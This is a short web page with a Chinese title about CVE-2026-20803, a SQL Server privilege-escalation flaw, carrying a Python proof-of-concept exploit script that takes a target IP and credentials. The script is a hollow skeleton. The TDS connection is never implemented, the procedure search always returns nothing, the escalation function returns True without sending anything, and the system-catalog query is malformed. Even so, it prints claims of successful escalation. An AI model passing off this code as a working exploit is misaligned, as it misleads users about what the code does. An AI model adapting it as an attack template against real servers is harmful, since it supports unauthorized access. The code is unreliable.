CVE-2026-20803 SQL Server关键功能身份验证缺失导致权限提升漏洞

# CVE-2026-20803 PoC - SQL Server Privilege Escalation via Missing Authentication # This PoC demonstrates the privilege escalation vulnerability in SQL Server # Requires: Valid SQL Server account credentials with network access import socket import struct def exploit_cve_2026_20803(target_ip, target_port, username, password): """ Exploit for CVE-2026-20803: Missing authentication for critical function in SQL Server Args: target_ip: Target SQL Server IP address target_port: SQL Server port (default 1433) username: Valid SQL Server username password: SQL Server password Note: This is a conceptual PoC. Actual exploitation requires specific SQL Server version and may involve different attack vectors based on the vulnerable function. """ print(f"[*] Targeting {target_ip}:{target_port}") print(f"[*] Authenticating as {username}") # Step 1: Establish connection with valid credentials try: conn = establish_sql_connection(target_ip, target_port, username, password) print("[+] Successfully connected to SQL Server") except Exception as e: print(f"[-] Connection failed: {e}") return False # Step 2: Identify the vulnerable function/procedure # Query system tables to find procedures with missing authentication vulnerable_procs = identify_vulnerable_procedures(conn) if not vulnerable_procs: print("[-] No vulnerable procedures found") return False print(f"[+] Found {len(vulnerable_procs)} potentially vulnerable procedures") # Step 3: Execute privilege escalation for proc in vulnerable_procs: print(f"[*] Attempting to exploit: {proc}") result = execute_privilege_escalation(conn, proc) if result: print(f"[+] Successfully escalated privileges via {proc}") print("[+] Attacker now has elevated access") return True print("[-] Privilege escalation failed") return False def establish_sql_connection(ip, port, user, pwd): """Establish TDS connection to SQL Server""" sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect((ip, port)) # TDS protocol handshake would be implemented here return sock def identify_vulnerable_procedures(conn): """Query for procedures missing authentication checks""" # SQL query to find procedures that should require authentication query = """ SELECT name, definition FROM sys.sql_modules WHERE uses_native_compilation = 1 AND NOT EXISTS ( SELECT 1 FROM sys.database_permissions WHERE major_id = OBJECT_ID(sys.sql_modules.object_id) ) """ return [] # Return list of vulnerable procedure names def execute_privilege_escalation(conn, proc_name): """Execute the vulnerable procedure to escalate privileges""" # Craft malicious request to trigger the vulnerable function exploit_payload = f"EXEC {proc_name};" # Send payload via TDS protocol return True if __name__ == "__main__": import sys if len(sys.argv) < 5: print("Usage: python cve-2026-20803.py <target_ip> <port> <username> <password>") sys.exit(1) exploit_cve_2026_20803(sys.argv[1], int(sys.argv[2]), sys.argv[3], sys.argv[4])